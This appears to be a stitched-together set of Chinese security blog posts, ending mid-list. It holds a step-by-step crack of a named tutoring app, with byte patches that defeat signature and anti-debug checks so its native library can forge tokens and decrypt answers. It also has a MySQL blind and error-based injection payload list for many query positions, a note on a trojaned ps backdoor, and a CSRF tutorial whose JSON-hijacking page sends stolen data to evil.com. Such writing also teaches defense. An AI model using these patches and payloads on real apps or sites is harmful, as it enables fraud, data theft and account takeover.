破解某教学类APP核心功能

1.内容简介

本文会详解如何利用自己编写的APP来调用某教学类APP中的so库以达到机器刷题的目的,其中会分享自己在调试过程中的一些经验,包括使用ida调试安卓so库的一些技巧以及对程序流程进行分析的思路。

注:下文中使用Target表示该APP。

2.拍题请求/响应分析

TargetAPP的拍题功能为识别用户上传图片中的题目,随后返回对应题目和题解。使用burpsuite抓包分析该请求响应过程:

1

返回结果中的answers即为题解的密文,请求中的token参数是Target本地生成的签名,如果签名不正确则服务端不返回题解。

通过全局搜索特征字符串的方式去寻找拍题相关代码,使用grep –rn ‘beginUploadTime’ ./wenba_xbj_v5.0.3_online_server命令搜索结果如下:

2

 

使用jadx反编译工具,定位到相关代码,发现了token生成的函数如下:

3

由上图可知,token由beginUploadTime、uid、photoType、imgsign、dna等参数生成,跟进getWenbaToken函数如下:

4

该函数把传入的参数键值使用“&”连接,随后和时间戳一起被传入getNativeToken函数,继续跟进:

5 6

发现最后调用了一个native函数,至此找到了token的生成过程,继续查看处理返回结果的过程。可以使用jeb反编译工具的ctrl+x查看有哪些地方调用了生成token的函数,发现两处:

7

在分析的时候发现,jadx和jeb这两个反编译工具可以结合着用,有些smali代码jadx不能反编译成java代码,但jeb可以用goto这种语法识别成可读的代码。随便举个例子,比如下面这个isArmV7函数,分别贴上jadx和jeb的反编译结果:

8 9

接着分析程序逻辑,分析一下上面的两处调用之后发现下图这一处是上传图片的过程:

10

如何寻找处理返回结果的函数呢?处理返回结果函数所在类的对象通常会作为参数被传到发起http请求的函数中,比如上图中startHttpLoader函数中的WenbaRequest类,查看其代码发现decrypt函数正是处理返回结果的函数:

11

分析可知其中的SoUtil.decryptServerBytes函数为核心解密函数,跟进一下发现也是调用的native函数:

12 13

以上就是拍题请求、响应过程有关的java层代码。

4.尝试编写APP调用相关Native函数

首先需要找到这两个函数在哪个so库中,查看java代码发现该类通过System.loadLibrary的方式载入了两个so文件,分别是libbase.so和libWenbaCrashCatcher.so,如图:

14

静态查看so文件不方便的话,这里可以通过两次分别载入其中一个so文件,通过eclipse中的报错信息不同就可以知道所调用的函数在哪个so库中。通过尝试得知目标函数在libbase.so中。

调用的时候发现报错了,由于当时没有截图,这里只描述一下遇到的问题和解决的办法。遇到的第一个报错是so库中的JNI_Onload函数调用了getApplicationContext这样的方法(分析so代码得知),该方法是根据APP的包名来获得上下文信息,一开始我的APP包名是随意命名的,所以获取到一个null。去看一下TargetAPP的AndroidManifest文件,看到它注册了一个名为com.wenba.bangbang.BangbangApplication的应用:

15

于是修改我自己的APP包名和相关代码,并在AndroidManifest.xml中进行注册:

16

再次尝试调用,发现还是出错,只能去仔细分析libbase.so中的相关代码了。

5.相关Native层代码分析

把java函数和C函数关联起来有静态和动态两种方式,静态的方式是C函数在命名时根据所对应java函数的包名及函数名来命名,动态的方式是在so库中的JNI_Onload函数中调用RegisterNatives函数进行关联,其中gMethod结构的参数指明了对应关系,如下图所示,so库被加载后会在一个比较早的时间执行JNI_Onload函数:

17

通过分析可知libbase.so采用了动态关联的方式,于是使用ida看一下它的JNI_Onload函数:

18 19 20 21

跟下去可以看到JNI_Onload函数的主体,分析安卓so库时可以把jni.h这个头文件导入到ida中,然后修改参数的类型为jni.h中的类型,ida就会识别出一些jni.h中的方法名,便于我们进行分析,如下所示:

22

导入之后,因为我们知道JNI_Onload函数的第一个参数为JNIEnv *类型,按快捷键Y修改函数sub_24938的第一个参数的类型:

23

修改之后ida识别出了FindClass函数,如图:

24

由此可知JNI_Onload函数的主要功能由sub_265D4函数实现,所以先看一下这个函数,同样修改它第一个参数的类型,在该函数尾部发现了RegisterNatives函数:

25

上图中的off_973B4即gMethod结构,如图:

26

随便看一个表示java函数名的字符串发现是乱码,如下图,这是因为在注册时还需要调用相应的jni函数来将其表示成C语言中的字符串形式:

27

既然静态无法确定对应关系,这里有个办法,就是动态调试的时候在这9个native函数的开头都下断点,到时候看他断到哪个函数就知道我们调用的java函数对应哪个C函数了。

接下来使用ida去动态分析我们自己编写的APP,看一下在函数sub_265D4中都发生了什么。我用Windows虚拟机里启动eclipse的安卓4.4虚拟机的方法进行分析,这样可以利用虚拟机快照,方便在程序崩溃后迅速还原。需要注意的是虚拟机中一些程序的执行结果可能与在真机上执行不同,也有可能出一些莫名其妙的错误,如果遇到在安卓虚拟机上分析遇到了比较奇怪的问题,可以拿到真机上试一试,说不定就解决了,这里只是用虚拟机来动态理一下JNI_Onload函数的逻辑。

第一步,在安卓上运行android_server监听23946端口,android_server在ida安装目录的dbgsrv目录下:

28 29

第二步,使用adb forward tcp:23946 tcp:23946命令把安卓手机的23946端口转发到本地:

30

第三步,使用adb shell am start -D -n com.wenba.bangbang/com.wenba.bangbang.MainActivity命令以调试模式运行APP:

31

其中com.wenba.bangbang是APP的包名,com.wenba.bangbang.MainActivity是APP主Activity的名字,在AndroidManifest.xml文件中查看:

32

以调试等待模式运行APP后,在eclipse的DDMS可调式进程窗口就可以看到,其中8616为该程序的专用调试端口,8700时通用调试端口,建议使用专用的调试端口以防止冲突:

33

第四步,启动ida并附加该进程:

34 35 36

附加之后勾选如下调试选项:

37 38

其中有个选项是在加载so库的时候让程序断下来,一开始的时候libbase.so是没有加载到内存中的,如下图所示,按ctrl+s显示内存映射,搜索libbase.so:

39

当libbase.so加载时让程序断下来,便于我们在JNI_Onload函数开头,或者sub_265D4函数开头下断点。

第五步,使用jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8616命令以调试等待模式运行程序,其中8616即DDMS中显示的程序的专用调试端口:

40

之后在ida中按f9运行程序,发现程序随后加载了libbase.so并断下,如下图,点击取消即可:

41

再次在ctrl+s内存映射中搜索,发现已经加载了libbase.so,我们关注的是有X属性的libbase.so的加载地址,如下图所示,为A8A2D000:

42

这时候我们可以双开ida,使用动静结合的方式进行分析,函数sub_265D4的地址为libbase.so基值A8A2D000加上函数偏移265D4即A8A535D4,在指令窗口按快捷键G,输入该地址进行查看,如图:

43

在该指令处按快捷键C进行代码识别即可识别出该函数的汇编代码,如图:

111

 

在该处按f2下断点,然后按f9运行程序,在该处断下,PC寄存器的值即要执行的下一条指令的地址:

45

如何分析程序的逻辑呢?我们主要关注一些关键函数的执行结果即可。在arm架构、fastcall函数调用约定下,函数在调用时通过寄存器R0~R3传递前四个参数,如果函数参数超过4个,剩下的参数使用栈进行传递,函数的返回值同样保存在R0寄存器中,函数的返回地址通常保存在LR寄存器。

举个例子,来分析一下sub_265D4函数开头的一段逻辑:

46

我们看一下这个memcpy函数向dest指针所指向的地址存了什么东西,函数调用通常使用BL指令,在该位置下断点,并按f9执行,如图:

47

在数据窗口按G,然后输入此时R0寄存器,即dest指针所指向的地址BECEE37C,如图:

48

按f8单步步过memcpy函数,观察该地址中数据的变化,发现函数向这里复制了一个乱码字符串:

49

接着,函数sub_2581C函数同样使用了dest作为参数,我们同样单步步过该函数,发现这里的乱码字符串被解密为com/au/util/c:

50

解密结果被传到函数sub_25854中:

51 52

函数sub_25854中调用了一个libdvm.so这个系统so库中的函数,我们还是通过导入jni.h,然后把它第一个参数的类型改为JNIEnv *的方式来看一下,结果如下:

53

原来这个函数就是执行libdvm.so中的FindClass函数,这段代码的作用就是获取com/au/util/c类的指针(类似的东西)。

使用上述方法,我们就可以逐步分析出整个JNI_Onload函数的逻辑,整理如下:

在函数sub_265D4中前后两次调用了函数sub_2A368,如图:

54 55

在函数sub_2A368中进行了APP签名的校验,之前的崩溃即因在该函数中签名校验不通过,函数sub_2A368中进行签名校验的代码如下:

56

于是我们可以通过patch掉相关判断条件的方式来过掉它的签名校验,patch的方法举例如下,看下图中的代码:

57

如果v56等于40才正确,而我们的执行结果不等于40,我们就可以把相应的汇编代码BEQ改为BNE(或BNE改为BEQ),对应到机器码则是D0改为D1(或D1改为D0),如下图,本来是BNE,我们就改成BEQ,建议使用16进制编辑器根据偏移位置进行修改:

58 59

根据我们动态调试的结果,看程序在哪个分支崩溃我们就patch掉哪个跳转条件。在patch完第一个sub_2A368函数以及之后的一系列判断后,发现在第二个sub_2A368中又出错了,分析了一下,发现程序在第二个sub_2A368之前调用了sub_2AD2C函数:

60

在该函数中程序启动了一个线程,线程的主体函数为sub_2AAB8:

61

简单看一下发现这个函数似乎是用来反调试的:

62

于是patch掉该线程的产生过程,即patch掉调用pthread_create的代码:

63 64

将46 F0 C5 FA改为F8 8D 00 00,即MOV R0, R0  POP {R3-R7,PC},即执行一条无用指令之后马上返回。

完成上述patch之后,我们的APP就可以成功调用libbase.so中的函数了,成功地生成了token:

65

然而调用解密函数进行解密的时候,发现程序又崩溃了,于是去分析它的解密函数sub_26448(在所有native函数的开头下断点找到的,一开始我patch掉反调试线程的时候不小心偏了一个字节,于是我惊奇的发现ida直接跳到这个函数的中间执行了…),发现崩溃在下图if里面的代码:

66

于是粗暴地patch掉跳转条件,让程序不执行if里面的代码,发现成功执行完了解密函数,但是解密的结果依然是乱码,所以我又不得不去仔细分析这个解密函数。

6.题解加解密逻辑分析及调试TargetAPP

首先静态分析一下sub_26448函数,从java代码里我们可以知道该函数有两个参数,而在ida里sub_26448函数显示有5个参数:

67

其中前两个参数是JNIEnv *一类的固定类型的参数,从第三个参数开始才是我们从java代码传过来的,那这里为什么有三个呢?分析一下就可以知道,参数a3应该是我们传进来的时间戳有关的参数,参数a5是我们传进来的用于解密的题解密文,而a4参数在ida的整个sub_26448函数中都没有用到过,可知是ida反汇编出现了小错误,这是经常出现的,不影响我们分析函数的逻辑。

通过静态分析可知,程序先是在我们传入的字符串中寻找小写字母j,然后把小写字母j之前的字符串的长度传入函数sub_2A018中:

68

之后经过一系列变化,又把该长度和与时间戳有关的参数一起被传入函数sub_260E8中:

69

其中参数s作为函数输出,随后和要解密的字符串一起被传入函数sub_2A068中:

70

这个函数里应该就是解密的过程了,进去看一下:

71

果然,函数先是利用我们传入的s变量生成了AES解密所用的key,然后利用key去解密字符串。由此可知,解密所用的key的生成只与s有关,而s的生成在函数sub_260E8中,再进去看看:

72

看到了上图所示代码,v4即我们传入的和时间戳有关的参数,程序先用它除以86400,然后再乘86400,就会把相差在86400以内的时间戳变为相同的值,而86400秒即1天,故猜测服务端用于加密题解的密钥一天一换,所以客户端才做如此处理。而我用于解密的答案是几天前就获取的,一直用它来做实验,所以肯定不能解密成功。于是我又获取了一个最新的答案去解密,果然就成功了:

73

其实在分析的时候想的东西比较多,因为我对libbase.so做了一系列的patch,每当结果出错的时候,比如token生成的不正确或者题解解密不正确,我不能确定是因为我参数传的不对还是因为我做了patch,所以我就特别想看看TargetAPP生成的一些关键的中间值,比如s的值,和我的是不是一样。但是TargetAPP做了反调试和重打包校验,并且没有在AndroidManifest.xml中开启debug选项,那该如何去动态调试呢?

首先说一下没有debug选项的解决办法。安卓系统在判断一个程序是否可调试时,会首先看自己系统的总调试开关是否开启,如果开启的话则该系统上所有进程都是可调试的,如果系统调试开关关闭则去程序是否可调式才由AndroidManifest.xml中的debug选项决定。可以在安卓手机上用getprop re.debuggable命令获取系统调试开关的状态,在安卓虚拟机上执行如图:

74

发现安卓虚拟机的系统是可调式的,但TargetAPP在虚拟机中不能正常运行,而真机上的系统调试开关都是关闭的,所以我们必须开启真机的系统调试开关。方法有两种,一种是重新编译安卓内核,把调试开关打开,比较麻烦且不易成功(网上可能有别人编译好的镜像);第二种是使用网上的mprop程序在系统内存中修改该调试开关状态的值,只要系统不重新启动就没问题,这种方法比较实用。

运行mprop之前:

75

运行mprop:

76

结果如下,发现系统调试开关打开:

77

在adb中执行stop;start命令重启adb服务,即可在DDMS中看到所有进程都变成可调式状态:

78

之后我们首先在真机上运行TargetAPP,然后直接使用ida附加Target进程。在调试时发现我只能按一次f9,断下来之后再运行就会触发TargetAPP的反调试而崩溃,不过这足以使我们看到一些关键的中间值了。比如我们想看s字符串的值,就可以找出对应指令的地址,即下图中指令在内存中的地址(so库基址+指令偏移):

79

即在sub_260E8刚刚运行完时下断点,查看s在内存中的位置,为sp+3C:

80

SP即函数sub_26448运行时的栈顶指针,动态调试到该位置SP的值如下所示:

81

在数据区找BECEE3D8+3C=BECEE414,如图:

82

 

这样就能看到s的值。其实调试到最后,我发现在26158处下断点可以完美地避开TargetAPP的反调试,一直单步到解密函数执行结束,这对于我确认分析结果是否正确起了很大作用。

 

mysql各种注入点盲注/报错利用方法

1.select
(1)”select “.$sqli.” from test_1 where id=1;”
select name and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) from test_1 where id=1;
select name or extractvalue(1,concat(0x7e,(select user()))) from test_1 where id=1;
(2)”select name from “.$sqli.”_1 where id=1;”
select name from (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a)b_1 where id=1;
(3)”select name from test_”.$sqli.” where id=1;”
select name from test_1,(select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a where id=1;
(4)”select name from test_1 where id=”.$sqli.”;”
select name from test_1 where id=1 and if(ascii(substr((select user()),1,1))=114,sleep(2),0);
select name from test_1 where id=1 or extractvalue(1,concat(0x7e,(select user())));
(5)”select name,pass from test_1 where id=1 group by “.$sqli.”;”
select name,pass from test_1 where 1=1 group by name and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a);
select name,pass from test_1 where 1=1 group by name or extractvalue(1,concat(0x7e,(select user())));
(6)”select name,pass from test_1 where id=1 group by name asc “.$sqli.”;”
select name,pass from test_1 where 1=1 group by name asc,(select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a);
select name,pass from test_1 where 1=1 group by name asc,extractvalue(1,concat(0x7e,(select user())));
(7)”select name,pass from test_1 where id=1 group by name asc having name='”.$sqli.”‘;”
select name,pass from test_1 where id=1 group by name asc having name=’tttt’ and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) and ‘1’=’1′;
select name,pass from test_1 where id=1 group by name asc having name=’tttt’ or extractvalue(1,concat(0x7e,(select user()))) and ‘1’=’1′;
(8)”select name,pass from test_1 where id=1 group by name asc having name=’tttt’ order by “.$sqli.”;”
select name from test_1 where id=1 order by 1 and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a);
select name from test_1 where id=1 order by 1 or extractvalue(1,concat(0x7e,(select user())));
(9)”select name,pass from test_1 where id=1 group by name asc having name=’tttt’ order by 1 asc “.$sqli.”;”
select name from test_1 where id=1 order by 1 asc,(select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a);
select name from test_1 where id=1 order by 1 asc,extractvalue(1,concat(0x7e,(select user())));
(10)”select name,pass from test_1 where id=1 group by name asc having name=’name’ order by 1 asc limit 1,”.$sqli.”;”
select name,pass from test_1 where id=1 order by name limit 1,1 procedure analyse(extractvalue(1,concat(0x7e,user())),1);
2.insert/update/delete
(1)”insert into test_1(name, pass) values(‘tttt’, ‘”.$sqli.”‘);”)
insert into test_1(name,pass) values(‘tttt’,’1′ and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) and ‘1’=’1′);
insert into test_1(name,pass) values(‘tttt’,’1′ or extractvalue(1,concat(0x7e,(select user()))) and ‘1’=’1′);
(2)”update test_1 set pass='”.$sqli.”‘ where name=’tttt’;”
update test_1 set pass=’pass’ and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) and ‘1’=’1′ where name=’tttt’;
update test_1 set pass=’pass’ or extractvalue(1,concat(0x7e,(select user()))) and ‘1’=’1′ where name=’tttt’;
(3)”update test_1 set pass=’pass’ where name='”.$sqli.”‘;”
update test_1 set pass=’pass’ where name=’pass’ and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) and ‘1’=’1′;
update test_1 set pass=’pass’ where name=’pass’ or extractvalue(1,concat(0x7e,(select user())));
(4)”delete from test_1 where name='”.$sqli.”‘;”
delete from test_1 where name=’tttt’ and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) and ‘1’=’1′;
delete from test_1 where name=’tttt’ or extractvalue(1,concat(0x7e,(select user()))) and ‘1’=’1′;

系统命令被替换

前几天的一次应急,客户漏洞没有及时修,短短几天就又被搞了。

查的时候看到几个异常连接,找到了对应的进程,结束掉之后发现还能抓到往攻击者IP发的包,但进程就是看不到,很神奇。

在老司机的指点下,看了下/bin/ps,原来被攻击者替换掉了。

和队友一起把这个假的ps拿出来分析了一下,发现似乎是网上可以找到的名为billgates的后门,其中就有替换netstat、ps、lsof等系统命令的功能。

链接:http://sec.chinabyte.com/213/13664713.shtml

邪恶的CSRF

(文章发表在乌云知识库)

0x01 什么是CSRF

CSRF全称Cross Site Request Forgery,即跨站点请求伪造。我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的。

 

从前面这个名字里我们可以关注到两个点:一个是“跨站点”,另一个是“伪造”。前者说明了CSRF攻击发生时所伴随的请求的来源,后者说明了该请求的产生方式。所谓伪造即该请求并不是用户本身的意愿,而是由攻击者构造,由受害者被动发出的。

 

CSRF的攻击过程大致如图:

csrf1

0x02 CSRF攻击存在的道理

一种攻击方式之所以能够存在,必然是因为它能够达到某种特定的目的。比如:通过程序中的缓冲区溢出漏洞,我们可以尝试控制程序的流程,使其执行任意代码;通过网站上的SQL注入漏洞,我们可以读取数据库中的敏感信息,进而获取Webshell甚至获取服务器的控制权等等。而CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求,那么这有什么作用呢?

 

显然,这种攻击的威力和受害者的身份有着密切的联系。说到这儿我们可以思考一下,攻击者之所以要伪造请求由受害者发出,不正是想利用受害者的身份去达到一些目的吗?换句话说,受害者身上有达到这个目的所必需的条件,而这些必需的条件在Web应用中便是各种各样的认证信息,攻击者就是利用这些认证信息来实现其各种各样的目的。

 

下面我们先看几个攻击场景。

 

0x03 场景举例

(1)场景一:

 

在一个bbs社区里,用户在发言的时候会发出一个这样的GET请求:

 

GET /talk.php?msg=hello HTTP/1.1

Host: www.bbs.com

Cookie: PHPSESSID=ee2cb583e0b94bad4782ea

(空一行)

 

这是用户发言内容为“hello”时发出的请求,当然,用户在请求的同时带上了该域下的cookie,于是攻击者构造了下面的csrf.html页面:

 

<html>

<img src=http://www.bbs.com/talk.php?msg=goodbye />

</html>

 

可以看到,攻击者在自己的页面中构造了一个发言的GET请求,然后把这个页面放在自己的服务器上,链接为http://www.evil.com/csrf.html。之后攻击者通过某种方式诱骗受害者访问该链接,如果受害者此时处于登录状态,就会带上bbs.com域下含有自己认证信息的cookie访问http://www.bbs.com/talk.php?msg=goodbye,结果就是受害者按照攻击者的意愿提交了一份内容为“goodbye”的发言。

 

有人说这有什么大不了的,好,我们再看看另一个场景下的CSRF攻击。

 

(2)场景二:

 

在一个CMS系统的后台,发出下面的POST请求可以执行添加管理员的操作:

 

POST /manage.php?act=add HTTP/1.1

Host: www.cms.com

Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;

is_admin=234mn9guqgpi3434f9r3msd8dkekwel

(空一行)

uname=test&pword=test

 

在这里,攻击者构造了的csrf2.html页面如下:

 

<html>

<form action=”/manage.php?act=add” method=”post”>

<input type=”text” name=”uname” value=”evil” />

<input type=”password” name=”pword” value=”123456” />

</form>

<script>

document.forms[0].submit();

</script>

</html>

 

该页面的链接为http://www.evil.com/csrf2.html,攻击者诱骗已经登录后台的网站管理员访问该链接(比如通过给管理员留言等方式)会发生什么呢?当然是网站管理员根据攻击者伪造的请求添加了一个用户名为evil的管理员用户。

 

通过这些场景我们可以看到,CSRF攻击会根据场景的不同而危害迥异。小到诱使用户留言,大到垂直越权进行操作。这些攻击的请求都是跨域发出,并且至关重要的一点,都是在受害者的身份得到认证以后发生的。另外,我们在第一个场景中攻击时并没有使用JavaScrpit,这说明CSRF攻击并不依赖于JavaScript。

 

0x04 CSRF攻击方式

(1)HTML CSRF攻击:

 

即利用HTML元素发出GET请求(带src属性的HTML标签都可以跨域发起GET请求),如:

 

<link href=”…”>

<img src=”…”>

<iframe src=”…”>

<meta http-equiv=”refresh” content=”0; url=…”>

<script src=”…”>

<video src=”…”>

<audio src=”…”>

<a href=”…”>

<table background=”…”>

 

若要构造POST请求,则必须用表单提交的方式。另外,这些标签也可以用JavaScript动态生成,如:

 

<script>

new Image().src = ‘http://www.goal.com/…’;

</script>

 

(2)JSON HiJacking攻击:

 

为了了解这种攻击方式,我们先看一下Web开发中一种常用的跨域获取数据的方式:JSONP。

 

先说一下JSON吧,JSON是一种数据格式,主要由字典(键值对)和列表两种存在形式,并且这两种形式也可以互相嵌套,非常多的应用于数据传输的过程中。由于JSON的可读性强,并且很适合JavaScript这样的语言处理,已经取代XML格式成为主流。

 

JSONP(JSON with Padding)是一个非官方的协议,是Web前端的JavaScript跨域获取数据的一种方式。我们知道,JavaScript在读写数据时受到同源策略的限制,不可以读写其他域的数据,于是大家想出了这样一种办法:

 

前端html代码:

 

<meta content=”text/html; charset=utf-8″ http-equiv=”Content-Type” />

<script type=”text/javascript”>

function jsonpCallback(result) {

alert(result.a);

alert(result.b);

alert(result.c);

for(var i in result) {

alert(i+”:”+result[i]);//循环输出a:1,b:2,etc.

}

}

</script>

<script type=”text/javascript” src=”http://crossdomain.com/services.php?callback=jsonpCallback”></script>

 

后端的php代码:

 

<?php

 

//服务端返回JSON数据

$arr=array(‘a’=>1,’b’=>2,’c’=>3,’d’=>4,’e’=>5);

$result=json_encode($arr);

//echo $_GET[‘callback’].'(“Hello,World!”)’;

//echo $_GET[‘callback’].”($result)”;

//动态执行回调函数

$callback=$_GET[‘callback’];

echo $callback.”($result)”;

?>

 

可以看到,前端先是定义了jsonpCallback函数来处理后端返回的JSON数据,然后利用script标签的src属性跨域获取数据(前面说到带src属性的html标签都可以跨域),并且把刚才定义的回调函数的名称传递给了后端,于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行,达到了跨域获取数据的目的。

 

一句话描述JSONP:前端定义函数却在后端完成调用然后回到前端执行!

 

明白了JSONP的调用过程之后,我们可以想象这样的场景:

 

当用户通过身份认证之后,前端会通过JSONP的方式从服务端获取该用户的隐私数据,然后在前端进行一些处理,如个性化显示等等。这个JSONP的调用接口如果没有做相应的防护,就容易受到JSON HiJacking的攻击。

 

就以上面讲JSONP的情景为例,攻击者可以构造以下html页面:

 

<html>

<meta content=”text/html; charset=utf-8″ http-equiv=”Content-Type” />

<script type=”text/javascript”>

function hijack(result) {

var data = ‘’;

for(var i in result) {

data += i + “:” + result[i];

}

new Image().src = http://www.evil.com/JSONHiJacking.php?data= + escape(data); //把数据发送到攻击者服务器上

}

</script>

<script type=”text/javascript” src=”http://crossdomain.com/services.php?callback=hijack”></script>

</html>

 

可以看到,攻击者在页面中构造了自己的回调函数,把获取的数据都发送到了自己的服务器上。如果受害者在已经经过身份认证的情况下访问了攻击者构造的页面,其隐私将暴露无疑。

 

我们用以下几张图来总结一下JSON HiJacking的攻击过程:

csrf2

csrf3

csrf4csrf5

(图片来源:

http://haacked.com/archive/2009/06/25/json-hijacking.aspx/

 

0x05 CSRF的危害

前面说了CSRF的基本概念,列举了几个CSRF的攻击场景,讲述了几种CSRF的攻击方法,现在我们来简单总结一下CSRF攻击可能造成的危害。

 

CSRF能做的事情大概如下:

 

1)篡改目标网站上的用户数据;

2)盗取用户隐私数据;

3)作为其他攻击向量的辅助攻击手法;

4)传播CSRF蠕虫。

 

其中前两点我们在之前的例子中已经做了比较详细的说明,不再赘述。第三点即将其他攻击方法与CSRF进行结合进行攻击,接下来我们以实际的漏洞例子来说明CSRF的第三个危害。

 

另外,CSRF蠕虫就是利用之前讲述的各种攻击方法,并且在攻击代码里添加了形成蠕虫传播条件的攻击向量,这一点会在本文的最后介绍。

 

0x06 基于CSRF攻击实例

我们来看一下phpok的两个CSRF漏洞如何进行最大化的利用。这两个漏洞均来自乌云:

http://www.wooyun.org/bugs/wooyun-2010-091886

在此次攻击中,攻击者最后利用后台添加模板处的限制不严格拿到了Webshell,但在此之前使攻击者得以进入后台的却是CSRF漏洞,由此可以看到CSRF在这次攻击中的重要性。

http://www.wooyun.org/bugs/wooyun-2010-091875

这次攻击,我们根本没有进入后台,而是利用一个CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些场景下的威力之大,根本不亚于SQL注入和文件上传这样的漏洞。

0x07 CSRF的防御

前面我们了解了这么多有关CSRF攻击的东西,目的是为了明白如何防御CSRF攻击(真的是这样吗?…)。

 

要防御CSRF攻击,我们就要牢牢抓住CSRF攻击的几个特点。

 

首先是“跨域”,我们发现CSRF攻击的请求都是跨域的,针对这一特点,我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下,用户提交的都是站内的请求,其Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段,这也是这种防御方法成立的条件。

 

不过需要说明的是,有的时候请求并不需要跨域,比如我们后面讲到的结合XSS进行攻击的时候,有的时候甚至没有Referer字段…,这些也是使用这种防御方法的弊病所在。

 

第二点是“伪造”,这也是CSRF攻击的核心点,即伪造的请求。我们来想一下,攻击者为什么能够伪造请求呢?换句话说,攻击者能够伪造请求的条件是什么呢?纵观之前我们伪造的所有请求,无一例外,请求中所有参数的值都是我们可以预测的,如果出现了攻击者无法预测的参数值,那么将无法伪造请求,CSRF攻击也不会发生。基于这一点,我们有了如下两种防御方法:

 

  • 添加验证码;
  • 使用一次性token。

 

先看看第一种。验证码的核心作用是区分人和机器,而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的,属于机器发出的请求,攻击者无法预知验证码的值,所以使用验证码可以很好地防御CSRF攻击,但毫无疑问,验证码会一定程度地影响用户体验,所以我们要在安全和用户体验之间找到一个平衡点。

 

再看看第二种方法。所谓token是一段字母数字随机值,我们可以把它理解为一个服务端帮我们填好的验证码!每当我们访问该页面时,服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中,当我们提交表单时,token会作为一个参数提交到服务端进行验证。在这个请求过程中,token的值也是攻击者无法预知的,而且由于同源策略的限制,攻击者也无法使用JavaScript获取其他域的token值,所以这种方法可以成功防御CSRF攻击,也是现在用的最多的防御方式。

 

但是,需要注意的一点是,token的生成一定要随机,即不能被攻击者预测到,否则这种防御将形同虚设。另外,token如果作为GET请求的参数在url中显示的话,很容易在Referer中泄露。还有更重要的一点:如果在同域下存在XSS漏洞,那么基于token的CSRF防御将很容易被击破,我们后面再说。

 

除了“跨域”和“伪造”两点,我们还可以注意到CSRF在攻击时间上的特点:CSRF攻击都是在受害者已经完成身份认证之后发生的,这是由CSRF攻击的目的所决定的。基于这一点,我们还可以想出一些缓解CSRF攻击的方法(注意是缓解),比如缩短Session的有效时间等等,可能一定程度上会降低CSRF攻击的成功率。

 

总结一下上面的防御方法如下:

 

  • 验证Referer;
  • 使用验证码;
  • 使用CSRF token;
  • 限制Session生命周期。

 

其中第四种属于缓解类方法,就不多说了。我们看一下其他三种方法都分别存在什么弊病。

 

Referer最大弊病:有些请求不带Referer;

验证码最大弊病:影响用户体验;

CSRF token最大弊病:随机性不够好或通过各种方式泄露,此外,在大型的服务中需要一台token生成及校验的专用服务器,需要更改所有表单添加的字段,有时效性的问题。

 

那么有没有其它的办法能够有效地防御CSRF攻击呢?xeye团队的monyer提出了下面这样的方法:

 

原理与token差不多:当表单提交时,用JavaScript在本域添加一个临时的Cookie字段,并将过期时间设为1秒之后在提交,服务端校验有这个字段即放行,没有则认为是CSRF攻击。

 

前面提到,token之所以可以防御CSRF,是因为攻击者无法使用JavaScript获取外域页面中的token值,必须要遵守同源策略;而临时Cookie的原理是:Cookie只能在父域和子域之间设置,也遵守同源策略,攻击者无法设置该Cookie。

 

下面看一个简单的demo,前端http://127.0.0.1:8888/test.html

 

<html>

<script>

function doit() {

var expires = new Date((new Date()).getTime()+1000);

document.cookie = “xeye=xeye; expires=” + expires.toGMTString();

}

</script>

<form action=”http://127.0.0.1:8888/test.php” name=”f” id=”f” onsubmit=”doit();” target=”if1”>

<input type=”button” value=”normal submit” onclick=”f.submit();”>

<input type=”button” value=”with token” onclick=”doit();f.submit();”>

<input type=”submit” value=”hook submit”>

</form>

<iframe src=”about:blank” name=”if1” id=”if1”></iframe>

</html>

 

服务端http://127.0.0.1:8888/test.php :

 

<?php

echo “<div>Cookies</div>”;

var_dump($_COOKIE);

?>

 

前端test.html页面中有三个按钮:第一个是正常的表单提交;第二个是添加临时Cookie后提交表单;第三个是以hook submit事件来添加临时Cookie并提交。

 

我们来演示一下效果,test.html页面如图:

csrf6

normal submit之后:

csrf7

看到只有xampp设置的一个Cookie,试一下with token按钮:

csrf8

看到我们提交的Cookie中多出了一个名为“xeye”的Cookie,再试一下hook submit:

csrf9

效果和第二个相同。

 

通过上面的演示,我们可以看到设置临时Cookie的效果。

 

不过这种方式只适用于单域名的站点,或者安全需求不需要“当子域发生XSS隔离父域”。因为子域是可以操作父域的Cookie的(通过设置当前域为父域的方式),所以这种方法的缺点也比较明显:这种方法无法防御由于其他子域产生的XSS所进行的表单伪造提交(注意:使用token可能也会有这样的问题,马上说到)。但如果对于单域站点而言,这种防御方法的安全性可能会略大于token。

 

对于这种防御方式的几个小疑问:

 

  • 网络不流畅,有延迟会不会导致Cookie失效?这个显然是不会的,因为服务端Cookie是在提交请求的header中获得的。延时在服务端,不在客户端,而1秒钟足可以完成整个表单提交过程。
